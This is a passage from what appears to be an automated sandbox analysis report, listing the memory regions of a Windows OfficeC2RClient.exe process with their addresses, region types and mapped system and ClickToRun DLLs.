	          end_va = 0x2ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000010000"
	        filename = ""

Region:
	              id = 1986
	        start_va = 0x30000
	          end_va = 0x33fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000030000"
	        filename = ""

Region:
	              id = 1987
	        start_va = 0x40000
	          end_va = 0x40fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000040000"
	        filename = ""

Region:
	              id = 1988
	        start_va = 0x170000
	          end_va = 0x26ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000170000"
	        filename = ""

Region:
	              id = 1989
	        start_va = 0x77c40000
	          end_va = 0x77de8fff
	     entry_point = 0x77c40000
	     region_type = mapped_file
	            name = "ntdll.dll"
	        filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")

Region:
	              id = 1990
	        start_va = 0x7efe0000
	          end_va = 0x7ffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efe0000"
	        filename = ""

Region:
	              id = 1991
	        start_va = 0x7ffe0000
	          end_va = 0x7ffeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ffe0000"
	        filename = ""

Region:
	              id = 1992
	        start_va = 0x13f5f0000
	          end_va = 0x140632fff
	     entry_point = 0x13f5f0000
	     region_type = mapped_file
	            name = "officec2rclient.exe"
	        filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\OfficeC2RClient.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe")

Region:
	              id = 1993
	        start_va = 0x7fefff60000
	          end_va = 0x7fefff60fff
	     entry_point = 0x7fefff60000
	     region_type = mapped_file
	            name = "apisetschema.dll"
	        filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll")

Region:
	              id = 1994
	        start_va = 0x7fffffb0000
	          end_va = 0x7fffffd2fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000007fffffb0000"
	        filename = ""

Region:
	              id = 1995
	        start_va = 0x7fffffd6000
	          end_va = 0x7fffffd6fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd6000"
	        filename = ""

Region:
	              id = 1996
	        start_va = 0x7fffffde000
	          end_va = 0x7fffffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffde000"
	        filename = ""

Region:
	              id = 2175
	        start_va = 0x390000
	          end_va = 0x48ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000390000"
	        filename = ""

Region:
	              id = 2176
	        start_va = 0x77b20000
	          end_va = 0x77c3efff
	     entry_point = 0x77b20000
	     region_type = mapped_file
	            name = "kernel32.dll"
	        filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll")

Region:
	              id = 2177
	        start_va = 0x7fefdd60000
	          end_va = 0x7fefddcafff
	     entry_point = 0x7fefdd60000
	     region_type = mapped_file
	            name = "kernelbase.dll"
	        filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll")

Region:
	              id = 2179
	        start_va = 0x10000
	          end_va = 0x1ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000010000"
	        filename = ""

Region:
	              id = 2180
	        start_va = 0x50000
	          end_va = 0xb6fff
	     entry_point = 0x50000
	     region_type = mapped_file
	            name = "locale.nls"
	        filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")

Region:
	              id = 2181
	        start_va = 0xd0000
	          end_va = 0xdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000000d0000"
	        filename = ""

Region:
	              id = 2182
	        start_va = 0x270000
	          end_va = 0x36ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000270000"
	        filename = ""

Region:
	              id = 2183
	        start_va = 0x77a20000
	          end_va = 0x77b19fff
	     entry_point = 0x77a20000
	     region_type = mapped_file
	            name = "user32.dll"
	        filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll")

Region:
	              id = 2184
	        start_va = 0x7efe0000
	          end_va = 0x7f0dffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000007efe0000"
	        filename = ""

Region:
	              id = 2185
	        start_va = 0x7f0e0000
	          end_va = 0x7ffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007f0e0000"
	        filename = ""

Region:
	              id = 2186
	        start_va = 0x7fee5590000
	          end_va = 0x7fee55b6fff
	     entry_point = 0x7fee5590000
	     region_type = mapped_file
	            name = "sppc.dll"
	        filename = "\\Windows\\System32\\sppc.dll" (normalized: "c:\\windows\\system32\\sppc.dll")

Region:
	              id = 2187
	        start_va = 0x7fee5a30000
	          end_va = 0x7fee5a80fff
	     entry_point = 0x7fee5a30000
	     region_type = mapped_file
	            name = "concrt140.dll"
	        filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\concrt140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\concrt140.dll")

Region:
	              id = 2188
	        start_va = 0x7fee6780000
	          end_va = 0x7fee679dfff
	     entry_point = 0x7fee6780000
	     region_type = mapped_file
	            name = "hlink.dll"
	        filename = "\\Windows\\System32\\hlink.dll" (normalized: "c:\\windows\\system32\\hlink.dll")

Region:
	              id = 2189
	        start_va = 0x7fef7a40000
	          end_va = 0x7fef7ab5fff
	     entry_point = 0x7fef7a40000
	     region_type = mapped_file
	            name = "apiclient.dll"
	        filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\ApiClient.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll")

Region:
	              id = 2190
	        start_va = 0x7fef7b00000
	          end_va = 0x7fef7b02fff
	     entry_point = 0x7fef7b00000
	     region_type = mapped_file
	            name = "api-ms-win-crt-utility-l1-1-0.dll"
	        filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll")

Region:
	              id = 2191
	        start_va = 0x7fef7b10000
	          end_va = 0x7fef7b12fff
	     entry_point = 0x7fef7b10000
	     region_type = mapped_file
	            name = "api-ms-win-crt-environment-l1-1-0.dll"
	        filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll")

Region:
	              id = 2192
	        start_va = 0x7fef7b20000
	          end_va = 0x7fef7b22fff
	     entry_point = 0x7fef7b20000
	     region_type = mapped_file
	            name = "api-ms-win-crt-filesystem-l1-1-0.dll"
	        filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll")

Region:
	              id = 2193
	        start_va = 0x7fef7b30000
	          end_va = 0x7fef7b32fff
	     entry_point = 0x7fef7b30000
	     region_type = mapped_file
	            name = "api-ms-win-crt-time-l1-1-0.dll"
	        filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-time-l1-1-0.dll")

Region:
	              id = 2194
	        start_va = 0x7fef7b40000
	          end_va = 0x7fef7b44fff
	     entry_point = 0x7fef7b40000
	     region_type = mapped_file
	            name = "api-ms-win-crt-multibyte-l1-1-0.dll"
	        filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll")

Region:
	              id = 2195
	        start_va = 0x7fef7b50000
	          end_va = 0x7fef7b54fff
	     entry_point = 0x7fef7b50000
	     region_type = mapped_file
	            name = "api-ms-win-crt-math-l1-1-0.dll"
	        filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll")

Region:
	              id = 2196
	        start_va = 0x7fef7b60000
	          end_va = 0x7fef7b62fff
	     entry_point = 0x7fef7b60000
	     region_type = mapped_file
	            name = "api-ms-win-crt-locale-l1-1-0.dll"
	        filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll")

Region:
	              id = 2197
	        start_va = 0x7fef7b70000
	          end_va = 0x7fef7c0cfff
	     entry_point = 0x7fef7b70000
	     region_type = mapped_file
	            name = "msvcp140.dll"
	        filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\msvcp140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp140.dll")

Region:
	              id = 2198
	        start_va = 0x7fef7c10000
	          end_va = 0x7fef7c13fff
	     entry_point = 0x7fef7c10000
	     region_type = mapped_file
	            name = "api-ms-win-crt-convert-l1-1-0.dll"
	        filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll")

Region:
	              id = 2199
	        start_va = 0x7fef7c20000
	          end_va = 0x7fef7c23fff
	     entry_point = 0x7fef7c20000
	     region_type = mapped_file
	            name = "api-ms-win-crt-stdio-l1-1-0.dll"
	        filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll")

Region:
	              id = 2200
	        start_va = 0x7fef7c30000
	          end_va = 0x7fef7c32fff
	     entry_point = 0x7fef7c30000
	     region_type = mapped_file
	            name = "api-ms-win-crt-heap-l1-1-0.dll"
	        filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll")

Region:
	              id = 2201
	        start_va = 0x7fef7c40000
	          end_va = 0x7fef7c43fff
	     entry_point = 0x7fef7c40000
	     region_type = mapped_file
	            name = "api-ms-win-crt-string-l1-1-0.dll"
	        filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-string-l1-1-0.dll")

Region:
	              id = 2202
	        start_va = 0x7fef7c50000
	          end_va = 0x7fef7c52fff
	     entry_point = 0x7fef7c50000
	     region_type = mapped_file
	            name = "api-ms-win-core-file-l1-2-0.dll"
	        filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll")

Region:
	              id = 2203
	        start_va = 0x7fef7c60000
	          end_va = 0x7fef7c62fff
	     entry_point = 0x7fef7c60000
	     region_type = mapped_file
	            name = "api-ms-win-core-processthreads-l1-1-1.dll"
	        filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll")

Region:
	              id = 2204
	        start_va = 0x7fef7c70000
	          end_va = 0x7fef7c72fff
	     entry_point = 0x7fef7c70000
	     region_type = mapped_file
	            name = "api-ms-win-core-synch-l1-2-0.dll"
	        filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll")

Region:
	              id = 2205
	        start_va = 0x7fef7c80000
	          end_va = 0x7fef7c82fff
	     entry_point = 0x7fef7c80000
	     region_type = mapped_file
	            name = "api-ms-win-core-localization-l1-2-0.dll"
	        filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll")

Region:
	              id = 2206
	        start_va = 0x7fef7c90000
	          end_va = 0x7fef7c92fff
	     entry_point = 0x7fef7c90000
	     region_type = mapped_file
	            name = "api-ms-win-core-file-l2-1-0.dll"
	        filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll")

Region:
	              id = 2207
	        start_va = 0x7fef7ca0000
	          end_va = 0x7fef7ca2fff
	     entry_point = 0x7fef7ca0000
	     region_type = mapped_file
	            name = "api-ms-win-core-timezone-l1-1-0.dll"
	        filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll")

Region:
	              id = 2208
	        start_va = 0x7fef7cb0000
	          end_va = 0x7fef7da1fff
	     entry_point = 0x7fef7cb0000
	     region_type = mapped_file
	            name = "ucrtbase.dll"
	        filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\ucrtbase.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\ucrtbase.dll")

Region:
	              id = 2209
	        start_va = 0x7fef7db0000
	          end_va = 0x7fef7db3fff
	     entry_point = 0x7fef7db0000
	     region_type = mapped_file
	            name = "api-ms-win-crt-runtime-l1-1-0.dll"
	        filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll")

Region:
	              id = 2210
	        start_va = 0x7fef7dc0000
	          end_va = 0x7fef7dd6fff
	     entry_point = 0x7fef7dc0000
	     region_type = mapped_file
	            name = "vcruntime140.dll"
	        filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\vcruntime140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vcruntime140.dll")

Region:
	              id = 2211
	        start_va = 0x7fef7de0000
	          end_va = 0x7fef7dfafff
	     entry_point = 0x7fef7de0000
	     region_type = mapped_file
	            name = "cabinet.dll"
	        filename = "\\Windows\\System32\\cabinet.dll" (normalized: "c:\\windows\\system32\\cabinet.dll")

Region:
	              id = 2212
	        start_va = 0x7fef8360000
	          end_va = 0x7fef8366fff
	     entry_point = 0x7fef8360000
	     region_type = mapped_file
	            name = "msimg32.dll"
	        filename = "\\Windows\\System32\\msimg32.dll" (normalized: "c:\\windows\\system32\\msimg32.dll")

Region:
	              id = 2213
	        start_va = 0x7fef8b10000
	          end_va = 0x7fef8b8bfff
	     entry_point = 0x7fef8b10000
	     region_type = mapped_file
	            name = "wer.dll"
	        filename = "\\Windows\\System32\\wer.dll" (normalized: "c:\\windows\\system32\\wer.dll")

Region:
	              id = 2214
	        start_va = 0x7fefb730000
	          end_va = 0x7fefb73afff
	     entry_point = 0x7fefb730000
	     region_type = mapped_file
	            name = "slc.dll"
	        filename = "\\Windows\\System32\\slc.dll" (normalized: "c:\\windows\\system32\\slc.dll")

Region:
	              id = 2215
	        start_va = 0x7fefbee0000
	          end_va = 0x7fefbef0fff
	     entry_point = 0x7fefbee0000
	     region_type = mapped_file
	            name = "wtsapi32.dll"
	        filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll")

Region:
	              id = 2216
	        start_va = 0x7fefc290000
	          end_va = 0x7fefc4a4fff
	     entry_point = 0x7fefc290000
	     region_type = mapped_file
	            name = "gdiplus.dll"
	        filename = "\\Windows\\winsxs\\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_2b24536c71ed437a\\GdiPlus.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_2b24536c71ed437a\\gdiplus.dll")

Region:
	              id = 2217
	        start_va = 0x7fefdc30000
	          end_va = 0x7fefdc3efff
	     entry_point = 0x7fefdc30000
	     region_type = mapped_file
	            name = "msasn1.dll"
	        filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll")

Region:
	              id = 2218
	        start_va = 0x7fefdce0000
	          end_va = 0x7fefdd15fff
	     entry_point = 0x7fefdce0000
	     region_type = mapped_file
	            name = "cfgmgr32.dll"
	        filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll")

Region:
	              id = 2219
	        start_va = 0x7fefdd20000
	          end_va = 0x7fefdd59fff
	     entry_point = 0x7fefdd20000
	     region_type = mapped_file
	            name = "wintrust.dll"
	        filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll")

Region:
	              id = 2220
	        start_va = 0x7fefddd0000
	          end_va = 0x7fefdde9fff
	     entry_point = 0x7fefddd0000
	     region_type = mapped_file
	            name = "devobj.dll"
	        filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll")

Region:
	              id = 2221
	        start_va = 0x7fefddf0000
	          end_va = 0x7fefdf56fff
	     entry_point = 0x7fefddf0000
	     region_type = mapped_file
	            name = "crypt32.dll"
	        filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll")

Region:
	              id = 2222
	        start_va = 0x7fefdf60000
	          end_va = 0x7fefdfc6fff
	     entry_point = 0x7fefdf60000
	     region_type = mapped_file
	            name = "gdi32.dll"
	        filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll")

Region:
	              id = 2223
	        start_va = 0x7fefdfd0000
	          end_va = 0x7fefed57fff
	     entry_point = 0x7fefdfd0000
	     region_type = mapped_file
	            name = "shell32.dll"
	        filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll")

Region:
	              id = 2224
	        start_va = 0x7feff0e0000
	          end_va = 0x7feff1bafff
	     entry_point = 0x7feff0e0000
	     region_type = mapped_file
	            name = "advapi32.dll"
	        filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll")

Region:
	              id = 2225
	        start_va = 0x7feff1c0000
	          end_va = 0x7feff1defff
	     entry_point = 0x7feff1c0000
	     region_type = mapped_file
	            name = "sechost.dll"
	        filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll")

Region:
	              id = 2226
	        start_va = 0x7feff2f0000
	          end_va = 0x7feff4c6fff
	     entry_point = 0x7feff2f0000
	     region_type = mapped_file
	            name = "setupapi.dll"
	        filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll")

Region:
	              id = 2227
	        start_va = 0x7feff4d0000
	          end_va = 0x7feff598fff
	     entry_point = 0x7feff4d0000
	     region_type = mapped_file
	            name = "usp10.dll"
	        filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll")

Region:
	              id = 2228
	        start_va = 0x7feff5a0000
	          end_va = 0x7feff63efff
	     entry_point = 0x7feff5a0000
	     region_type = mapped_file
	            name = "msvcrt.dll"
	        filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll")

Region:
	              id = 2229
	        start_va = 0x7feff640000
	          end_va = 0x7feff6b0fff
	     entry_point = 0x7feff640000
	     region_type = mapped_file
	            name = "shlwapi.dll"
	        filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll")

Region:
	              id = 2230
	        start_va = 0x7feff860000
	          end_va = 0x7feff86dfff
	     entry_point = 0x7feff860000
	     region_type = mapped_file
	            name = "lpk.dll"
	        filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll")

Region:
	              id = 2231
	        start_va = 0x7feffa40000
	          end_va = 0x7feffc42fff
	     entry_point = 0x7feffa40000
	     region_type = mapped_file
	            name = "ole32.dll"
	        filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll")

Region:
	              id = 2232
	        start_va = 0x7feffc50000
	          end_va = 0x7feffd7cfff
	     entry_point = 0x7feffc50000
	     region_type = mapped_file
	            name = "rpcrt4.dll"
	        filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll")

Region:
	              id = 2233
	        start_va = 0x7feffd80000
	          end_va = 0x7feffe56fff
	     entry_point = 0x7feffd80000
	     region_type = mapped_file
	            name = "oleaut32.dll"
	        filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll")

Region:
	              id = 2599
	        start_va = 0x20000
	          end_va = 0x20fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000020000"
	        filename = ""

Region:
	              id = 2600
	        start_va = 0xc0000
	          end_va = 0xc0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000000c0000"
	        filename = ""

Region:
	              id = 2601
	        start_va = 0xe0000
	          end_va = 0xe6fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000000e0000"
	        filename = ""

Region:
	              id = 2602
	        start_va = 0xf0000
	          end_va = 0xf1fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000000f0000"
	        filename = ""

Region:
	              id = 2603
	        start_va = 0x100000
	          end_va = 0x100fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000100000"
	        filename = ""

Region:
	              id = 2604
	        start_va = 0x110000
	          end_va = 0x110fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000110000"
	        filename = ""

Region:
	              id = 2605
	        start_va = 0x120000
	          end_va = 0x12ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000120000"
	        filename = ""

Region:
	              id = 2606
	        start_va = 0x150000
	          end_va = 0x15ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000150000"
	        filename = ""

Region:
	              id = 2607
	        start_va = 0x490000
	          end_va = 0x617fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000490000"
	        filename = ""

Region:
	              id = 2608
	        start_va = 0x620000
	          end_va = 0x7a0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000620000"
	        filename = ""

Region:
	              id = 2609
	        start_va = 0x7b0000
	          end_va = 0x86ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000007b0000"
	        filename = ""

Region:
	              id = 2610
	        start_va = 0x870000
	          end_va = 0xc62fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000870000"
	        filename = ""

Region:
	              id = 2611
	        start_va = 0xc70000
	          end_va = 0xd6ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000c70000"
	        filename = ""

Region:
	              id = 2612
	        start_va = 0xd80000
	          end_va = 0xdfffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000d80000"
	        filename = ""

Region:
	              id = 2613
	        start_va = 0xe00000
	          end_va = 0x10cefff
	     entry_point = 0xe00000
	     region_type = mapped_file
	            name = "sortdefault.nls"
	        filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls")

Region:
	              id = 2614
	        start_va = 0x1250000
	          end_va = 0x134ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001250000"
	        filename = ""

Region:
	              id = 2615
	        start_va = 0x13a0000
	          end_va = 0x149ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000013a0000"
	        filename = ""

Region:
	              id = 2616
	        start_va = 0x7fee6cb0000
	          end_va = 0x7fee6d4ffff
	     entry_point = 0x7fee6cb0000
	     region_type = mapped_file
	            name = "comctl32.dll"
	        filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_a4d6a923711520a9\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_a4d6a923711520a9\\comctl32.dll")

Region:
	              id = 2617
	        start_va = 0x7fef3660000
	          end_va = 0x7fef3741fff
	     entry_point = 0x7fef3660000
	     region_type = mapped_file
	            name = "d2d1.dll"
	        filename = "\\Windows\\System32\\d2d1.dll" (normalized: "c:\\windows\\system32\\d2d1.dll")

Region:
	              id = 2618
	        start_va = 0x7fef9810000
	          end_va = 0x7fef98b6fff
	     entry_point = 0x7fef9810000
	     region_type = mapped_file
	            name = "dxgi.dll"
	        filename = "\\Windows\\System32\\dxgi.dll" (normalized: "c:\\windows\\system32\\dxgi.dll")

Region:
	              id = 2619
	        start_va = 0x7fefc080000
	          end_va = 0x7fefc097fff
	     entry_point = 0x7fefc080000
	     region_type = mapped_file
	            name = "dwmapi.dll"
	        filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll")

Region:
	              id = 2620
	        start_va = 0x7fefcd50000
	          end_va = 0x7fefcd5bfff
	     entry_point = 0x7fefcd50000
	     region_type = mapped_file
	            name = "version.dll"
	        filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll")

Region:
	              id = 2621
	        start_va = 0x7fefda80000
	          end_va = 0x7fefda8efff
	     entry_point = 0x7fefda80000
	     region_type = mapped_file
	            name = "cryptbase.dll"
	        filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll")

Region:
	              id = 2622
	        start_va = 0x7fefdb30000
	          end_va = 0x7fefdb6cfff
	     entry_point = 0x7fefdb30000
	     region_type = mapped_file
	            name = "winsta.dll"
	        filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll")

Region:
	              id = 2623
	        start_va = 0x7fefed60000
	          end_va = 0x7fefed8dfff
	     entry_point = 0x7fefed60000
	     region_type = mapped_file
	            name = "imm32.dll"
	        filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll")

Region:
	              id = 2624
	        start_va = 0x7feff1e0000
	          end_va = 0x7feff2e8fff
	     entry_point = 0x7feff1e0000
	     region_type = mapped_file
	            name = "msctf.dll"
	        filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll")

Region:
	              id = 2625
	        start_va = 0x7fffffda000
	          end_va = 0x7fffffdbfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffda000"
	        filename = ""

Region:
	              id = 2626
	        start_va = 0x7fffffdc000
	          end_va = 0x7fffffddfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffdc000"
	        filename = ""

Region:
	              id = 2627
	        start_va = 0x7fefa750000
	          end_va = 0x7fefaa65fff
	     entry_point = 0x7fefa750000
	     region_type = mapped_file
	            name = "msi.dll"
	        filename = "\\Windows\\System32\\msi.dll" (normalized: "c:\\windows\\system32\\msi.dll")

Region:
	              id = 2690
	        start_va = 0x130000
	          end_va = 0x130fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000130000"
	        filename = ""

Region:
	              id = 2691
	        start_va = 0x140000
	          end_va = 0x140fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000140000"
	        filename = ""

Region:
	              id = 2692
	        start_va = 0x160000
	          end_va = 0x161fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000160000"
	        filename = ""

Region:
	              id = 2693
	        start_va = 0x370000
	          end_va = 0x377fff
	     entry_point = 0x370000
	     region_type = mapped_file
	            name = "index.dat"
	        filename = "\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat" (normalized: "c:\\windows\\system32\\config\\systemprofile\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\index.dat")

Region:
	              id = 2694
	        start_va = 0x380000
	          end_va = 0x381fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000380000"
	        filename = ""

Region:
	              id = 2695
	        start_va = 0xd70000
	          end_va = 0xd73fff
	     entry_point = 0xd70000
	     region_type = mapped_file
	            name = "index.dat"
	        filename = "\\Windows\\System32\\config\\systemprofile\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat" (normalized: "c:\\windows\\system32\\config\\systemprofile\\appdata\\roaming\\microsoft\\windows\\cookies\\index.dat")

Region:
	              id = 2696
	        start_va = 0x10d0000
	          end_va = 0x11cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000010d0000"
